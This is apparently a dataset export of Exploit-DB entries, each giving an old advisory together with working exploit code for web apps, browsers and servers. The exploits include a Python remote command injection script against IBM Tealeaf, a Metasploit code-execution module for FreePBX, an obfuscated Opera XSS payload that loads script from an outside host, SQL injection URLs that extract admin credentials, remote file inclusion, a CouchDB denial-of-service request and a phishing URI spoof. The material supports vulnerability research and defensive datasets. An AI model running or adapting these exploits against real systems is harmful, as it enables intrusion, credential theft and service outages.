QLWD/code_shield huggingface dataset:
标题: Microsoft Internet Explorer 6 - '&NBSP;' Address Bar URI Spoofing EDB-ID: 32539 CVE: 2008-4787 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/31960/info

Internet Explorer is affected by a URI-spoofing vulnerability because it fails to adequately handle specific combinations of the non-breaking space character ('&NBSP;').

An attacker may leverage this issue to spoof the source URI of a site presented to an unsuspecting user. This may lead to a false sense of trust because the user may be presented with a source URI of a trusted site while interacting with the attacker's malicious site.

Internet Explorer 6 is affected by this issue. 

<a href="http://www.example.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n <http://www.example.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n/> bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;& nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n bsp;&nbsp;.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;.phish.site/">Example</a> (In words, this is <a href="http://www.example.com <http://www.example.com/> followed by 30 ampersand-NBSP-semicolon, followed by a dot followed by another 31 ampersand-NBSP-semicolon followed by a dot, followed by 13 ampersand-NBSP-semicolon followed by a dot followed by phish.site/">Example</a>) This causes a link whose URL appears, IN THE ADDRESS BAR, as (may wrap around): http://www.example.com . . .phish.site/ (In words, this appears like "http://www.example.com" <http://www.example.com%22/> ; followed by 30 spaces, a dot, 31 spaces, a dot, 13 spaces, a dot and finally "phish.site/") URL: https://www.exploit-db.com/exploits/32539
标题: IBM Tealeaf CX 8.8 - Remote OS Command Injection EDB-ID: 32546 CVE: 2013-6719 2013-6720 类型: WEBAPPS 平台: PHP 发布日期: 2014-03-26 漏洞利用脚本: # IBM Tealeaf CX (v8 release 8) Remote OS Command Injection
# Date: 11/08/2013
# Exploit author: drone
# More information: http://www-01.ibm.com/support/docview.wss?uid=swg21667630 
# Vendor homepage: http://www-01.ibm.com/software/info/tealeaf/
# Version: Version 8 Release 8 (likely all versions prior)
# Tested on: Redhat Linux 6.2
# CVE: CVE-2013-6719 / CVE-2013-6720

import requests
from argparse import ArgumentParser

""" Remote OS command injection (no auth)
    IBM TeaLeaf Version 8 Release 8
    drone (@dronesec)

    Bonus:
    LFI at /download.php?log=../../etc/passwd
"""


def run(options):
    access = "http://{0}:{1}/delivery.php".format(options.address, options.port)
    data = {"perform_action" : "testconn",
            "delete_id" : "",
            "testconn_host" : "8.8.8.8 -c 1 ; {0} ; ping 8.8.8.8 -c 1".format(options.cmd),
            "testconn_port" : 1966,
            "testconn_t"    : "false",
            "csrf" : "afe2fce60e94a235511a7397ec5c9a87fb7fc25b", # it doesnt even care
            "delivery_mode" : 0,
            "batch_interval" : 60,
            "polling_interval" : 10,
            "watchdog_timer" : 30,
            "max_queue_depth" : 50000000,
            "timesource_host" : "test",
            "timesource_port" : 1966,
            "staticshit_enabled" : "on", # seriously
            "staticshit_host" : "test",
            "staticshit_intervalseconds" : 60,
            "staticshit_port" : 1966
           }

    response = requests.post(access, data=data, timeout=20.0)
    if response.status_code == 200:
        # lazy parsing
        result = response.content.split("alert('")[1].split('onUnload')[0]
        for x in result.split("\\n"):
            if 'PATTERN' in x: break
            print x
            
    
def parse_args():
    parser = ArgumentParser()
    parser.add_argument("-i", help="Server address", action="store",
                        required=True, dest="address")
    parser.add_argument("-p", help='Server port', action='store',
                        dest='port', default=8080)
    parser.add_argument("-c", help='Command to exec', action='store',
                        dest='cmd', default='whoami')
    return parser.parse_args()

if __name__ == "__main__":
    run(parse_args()) URL: https://www.exploit-db.com/exploits/32546
标题: Opera Web Browser 9.x - History Search and Links Panel Cross-Site Scripting EDB-ID: 32548 CVE: 2008-4795 类型: REMOTE 平台: LINUX 发布日期: 2008-10-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/31991/info

Opera Web Browser is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, change the browser's settings, and launch other attacks.

Versions prior to Opera Web Browser 9.62 are vulnerable.

NOTE: The 'History Search' issue described here may be related to the 'History Search' issue that was previously described in BID 31842 'Opera Web Browser Multiple Cross Site Scripting Vulnerabilities'.

<!-- --Aviv. http://aviv.raffon.net/2008/10/30/AdifferentOpera.aspx --> <html> <script> function x() { window.open('opera:historysearch?q=%2A"><img src=\'x\' onerror=\'eval(String.fromCharCode(113,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,34,83,67,82,73,80,84,34,41,59,113,46,115,114,99,61,34,104,116,116,112,58,47,47,119,119,119,46,114,97,102,102,111,110,46,110,101,116,47,114,101,115,101,97,114,99,104,47,111,112,101,114,97,47,104,105,115,116,111,114,121,47,111,46,106,115,34,59,100,111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,113,41,59))\'>&p=1&s=1'); window.setTimeout("location.href='mailto:'",4000); } </script> <body scrolling="no"> <a href="#" onclick="x()">Click me...</a> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <img src='x' onerror='eval(String.fromCharCode(113,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,34,83,67,82,73,80,84,34,41,59,113,46,115,114,99,61,34,104,116,116,112,58,47,47,119,119,119,46,114,97,102,102,111,110,46,110,101,116,47,114,101,115,101,97,114,99,104,47,111,112,101,114,97,47,104,105,115,116,111,114,121,47,111,46,106,115,34,59,100,111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,113,41,59))'> </body> </html> # milw0rm.com [2008-10-30] URL: https://www.exploit-db.com/exploits/32548
标题: Elkagroup Image Gallery 1.0 - 'view.php' SQL Injection EDB-ID: 32542 CVE: 2008-5037 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/31966/info

Elkagroup is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

This issue affects Elkagroup 1.0; other versions may also be affected. 

http://www.example.com/view.php?cid=-33%20UNION%20ALL%20SELECT%200,user(),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0--&uid=0&new=0 URL: https://www.exploit-db.com/exploits/32542
标题: phpMyAdmin 3.0.1 - 'pmd_pdf.php' Cross-Site Scripting EDB-ID: 32531 CVE: 2008-4775 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/31928/info

phpMyAdmin is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/pmd_pdf.php?db=>"><script>alert('Hadi-Kiamarsi')</script> URL: https://www.exploit-db.com/exploits/32531
标题: Lynx 2.8 - '.mailcap'/'.mime.type' Local Code Execution EDB-ID: 32530 CVE: 2006-7234 类型: REMOTE 平台: LINUX 发布日期: 2008-11-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/31917/info

Lynx is prone to a local code-execution vulnerability.

Successful exploits may allow attackers to execute arbitrary code within the context of the user running the affected application.

Versions prior to Lynx 2.8.6rel.4 are affected.

.mime.types:
application/x-bug bug

.mailcap:
application/x-bug; xmessage 'Hello, World!' URL: https://www.exploit-db.com/exploits/32530
标题: UC Gateway Investment SiteEngine 5.0 - 'api.php' Open Redirection EDB-ID: 32523 CVE: 2008-7269 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/31888/info

SiteEngine is prone to a remote URI-redirection vulnerability because the application fails to properly sanitize user-supplied input.

A successful exploit may aid in phishing-style attacks.

SiteEngine 5.0 is vulnerable; other versions may also be affected.

http://www.example.com/api.php?action=logout&forward=http://www.example2.com URL: https://www.exploit-db.com/exploits/32523
标题: Python 2.5.2 - 'Imageop' Module Argument Validation Buffer Overflow EDB-ID: 32534 CVE: 2008-4864 类型: DOS 平台: UNIX 发布日期: 2008-10-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/31932/info

Python's 'imageop' module is prone to a buffer-overflow vulnerability.

Successful exploits may allow attackers to execute arbitrary code in the context of applications using the vulnerable Python modules. This may result in a compromise of the underlying system. Failed attempts may lead to a denial-of-service condition.

These issues affect versions prior to Python 2.5.2-r6. 

import imageop
s = ''
imageop.crop(s, 1, 65536, 65536, 0, 0, 65536, 65536) URL: https://www.exploit-db.com/exploits/32534
标题: Adam Wright HTMLTidy 0.5 - 'html-tidy-logic.php' Cross-Site Scripting EDB-ID: 32527 CVE: 2008-4761 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/31908/info

Adam Wright HTMLTidy is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

HTMLTidy 0.5 is vulnerable; other versions may also be affected. Products that include HTMLTidy as a component will also be vulnerable.

NOTE: This record was previously titled 'Kayako eSupport html-tidy-logic.php Cross Site Scripting Vulnerability'. It has been updated to properly describe the vulnerability as an HTMLTidy issue. 

http://www.example.com/[script_dir]/includes/htmlArea/plugins/HtmlTidy/html-tidy-logic.php?jsMakeSrc=return%20ns;%20}%20alert(2008);%20function%20whynot(){%20alert(2); URL: https://www.exploit-db.com/exploits/32527
标题: UC Gateway Investment SiteEngine 5.0 - 'announcements.php' SQL Injection EDB-ID: 32524 CVE: 2008-7267 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/31889/info

SiteEngine is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

SiteEngine 5.0 is vulnerable; other versions may also be affected. 

http://www.example.com/announcements.php?id=1%bf%27%20and%201=2%20%20UNION%20select%201,2,user(),4,5,6,7,8,9,10,11%20/* URL: https://www.exploit-db.com/exploits/32524
标题: ClipShare Pro 4.0 - 'fullscreen.php' Cross-Site Scripting EDB-ID: 32526 CVE: 2008-6173 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/31898/info

ClipShare Pro is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

ClipShare Pro 4.0.0 is vulnerable; other versions may also be affected.

http://www.example.com/[script_dir]/fullscreen.php?title=%3C/title%3E%3Cscript%3Ealert(1);%3C/script%3E URL: https://www.exploit-db.com/exploits/32526
标题: Jetbox CMS 2.1 - 'liste' Cross-Site Scripting EDB-ID: 32525 CVE: 2008-6174 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/31890/info

Jetbox CMS is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Jetbox CMS 2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/admin/postlister/index.php?liste=default%22%3E%3Cscript%3Ealert(1)%3C/script%3E URL: https://www.exploit-db.com/exploits/32525
标题: Osprey 1.0a4.1 - 'ListRecords.php' Multiple Remote File Inclusions EDB-ID: 32521 CVE: 2008-6807 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/31883/info

Osprey is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to compromise the application and the underlying computer; other attacks are also possible.

Osprey 1.0a4.1 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/web/lib/xml/oai/ListRecords.php?lib_dir=[shell]
http://www.example.com/[path]/web/lib/xml/oai/ListRecords.php?xml_dir=[shell] URL: https://www.exploit-db.com/exploits/32521
标题: iPeGuestbook 1.7/2.0 - 'pg' Cross-Site Scripting EDB-ID: 32528 CVE: 2008-4751 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/31911/info

iPei Guestbook is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/index.php?pg=c0d3_xss URL: https://www.exploit-db.com/exploits/32528
标题: Sun Java Web Start 1.0/1.2 - Remote Command Execution EDB-ID: 32529 CVE: 2008-4910 类型: REMOTE 平台: MULTIPLE 发布日期: 2008-10-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/31916/info

Sun Java Web Start is prone to a remote command-execution vulnerability.

Successful exploits may allow attackers to execute arbitrary commands on an unsuspecting user's computer. This may aid in further attacks.

We don't know which versions of Java Web Start are affected. We will update this BID when more information is released. 

BasicService basicService = (BasicService)    ServiceManager.lookup("javax.jnlp.BasicService");

URL mike = new URL("file:\\C:\\music.rm");

basicService.showDocument(mike); URL: https://www.exploit-db.com/exploits/32529
标题: Apache CouchDB 1.5.0 - 'uuids' Denial of Service EDB-ID: 32519 CVE: 2014-2668 类型: DOS 平台: MULTIPLE 发布日期: 2014-03-26 漏洞利用脚本: # Exploit Title: Couchdb uuids DOS exploit
# Google Dork inurl: _uuids
# Date: 03/24/2014
# Exploit Author: KrustyHack
# Vendor Homepage: http://couchdb.apache.org/
# Software Link: http://couchdb.apache.org/
# Version: up to 1.5.0
# Tested on: Linux Couchdb up to 1.5.0

HOW TO
======
curl http://couchdb_target/_uuids?count=99999999999999999999999999999999999999999999999999999999999999999999999

TEST
====
Tested on a 16G RAM Quadcore server. Couchdb dead on 30 seconds with only one GET request. URL: https://www.exploit-db.com/exploits/32519
标题: FreePBX - 'config.php' Remote Code Execution (Metasploit) EDB-ID: 32512 CVE: 2014-1903 类型: REMOTE 平台: UNIX 发布日期: 2014-03-25 漏洞利用脚本: ##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "FreePBX config.php Remote Code Execution",
      'Description'    => %q{
        This module exploits a vulnerability found in FreePBX version 2.9, 2.10, and 2.11.
        It's possible to inject arbitrary PHP functions and commands in the "/admin/config.php"
        parameters "function" and "args".
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'i-Hmx', # Vulnerability discovery
          '0x00string', # PoC
          'xistence <xistence[at]0x90.nl>' # Metasploit module
        ],
      'References'     =>
        [
          ['CVE', '2014-1903'],
          ['OSVDB', '103240'],
          ['EDB', '32214'],
          ['URL', 'http://issues.freepbx.org/browse/FREEPBX-7123']
        ],
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Targets'        =>
        [
          ['FreePBX', {}]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Mar 21 2014",
      'DefaultTarget'  => 0))

      register_options(
        [
          OptString.new('TARGETURI', [true, 'The base path to the FreePBX installation', '/'])
        ], self.class)

      register_advanced_options(
        [
          OptString.new('PHPFUNC', [true, 'The PHP execution function to use', 'passthru'])
        ], self.class)
  end


  def check
    vprint_status("#{peer} - Trying to detect installed version")

    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path, "admin", "CHANGES")
    })

    if res and res.code == 200 and res.body =~ /^(.*)$/
      version = $1
    else
      return Exploit::CheckCode::Unknown
    end

    vprint_status("#{peer} - Version #{version} detected")

    if version =~ /2\.(9|10|11)\.0/
      return Exploit::CheckCode::Appears
    else
      return Exploit::CheckCode::Safe
    end
  end

  def exploit
    rand_data = rand_text_alpha_lower(rand(10) + 5)

    print_status("#{peer} - Sending payload")
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path, "admin", "config.php"),
      'vars_get' => {
        "display" => rand_data,
        "handler" => "api",
        "function" => datastore['PHPFUNC'],
        "args" => payload.encoded
      }
    })

    # If we don't get a 200 when we request our malicious payload, we suspect
    # we don't have a shell, either.
    if res and res.code != 200
      print_error("#{peer} - Unexpected response, exploit probably failed!")
    end

  end

end URL: https://www.exploit-db.com/exploits/32512
标题: Dizi Portali - 'diziler.asp' SQL Injection EDB-ID: 32498 CVE: 2008-6803 类型: WEBAPPS 平台: ASP 发布日期: 2008-10-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/31849/info

Dizi Portali is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/path/diziler.asp?id=[Sql Injection] URL: https://www.exploit-db.com/exploits/32498
标题: Jetbox CMS 2.1 - '/admin/cms/images.php?orderby' SQL Injection EDB-ID: 32495 CVE: 2008-4651 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/31824/info

Jetbox CMS is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Jetbox CMS 2.1 is vulnerable; other versions may also be affected.

http://www.example.com/admin/cms/images.php?orderby=[INJECTION POINT] URL: https://www.exploit-db.com/exploits/32495
标题: Bahar Download Script 2.0 - 'aspkat.asp' SQL Injection EDB-ID: 32500 CVE: 2008-6075 类型: WEBAPPS 平台: ASP 发布日期: 2008-10-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/31852/info

Bahar Download Script is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Bahar Download Script 2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/path/aspkat.asp?kid=-2%20union%20select%200,kullanici,parola,3,4,5,6,7,8,9,10,11,12,13,14,15,16%20from%20admin%20where%20id=1 URL: https://www.exploit-db.com/exploits/32500
标题: PHP-Nuke Sarkilar Module - 'id' SQL Injection EDB-ID: 32497 CVE: 2008-6779 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/31830/info

Sarkilar module for PHP-Nuke is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/modules.php?name=Sarkilar&op=showcontent&id=-1+union+select+null,null,pwd,email,user_uid,null,null,null,null+from+hebuname_authors-- URL: https://www.exploit-db.com/exploits/32497
标题: PHPhotoGallery 0.92 - 'index.php' SQL Injection EDB-ID: 32499 CVE: 2008-6802 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/31850/info

phPhotoGallery is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

phPhotoGallery 0.92 is affected; other versions may also be vulnerable. 

Username : ' or 1=1/*Password : ' or 1=1/* URL: https://www.exploit-db.com/exploits/32499
标题: Jetbox CMS 2.1 - '/admin/cms/nav.php?nav_id' SQL Injection EDB-ID: 32496 CVE: 2008-4651 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/31824/info
 
Jetbox CMS is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
 
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
Jetbox CMS 2.1 is vulnerable; other versions may also be affected.

http://www.example.com/path/admin/cms/nav.php?task=editrecord&nav_id=[INJECTION POINT] URL: https://www.exploit-db.com/exploits/32496
标题: FlashChat - 'connection.php' Role Filter Security Bypass EDB-ID: 32494 CVE: 2008-6799 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/31800/info

FlashChat is prone to a security-bypass vulnerability.

An attacker can leverage this vulnerability to bypass certain security restrictions and gain unauthorized administrative access to the affected application. 

sendAndLoad=%5Btype%20Function%5D&s=7&t=&r=0&u=5581&b=3&c=banu&cid=1&id= URL: https://www.exploit-db.com/exploits/32494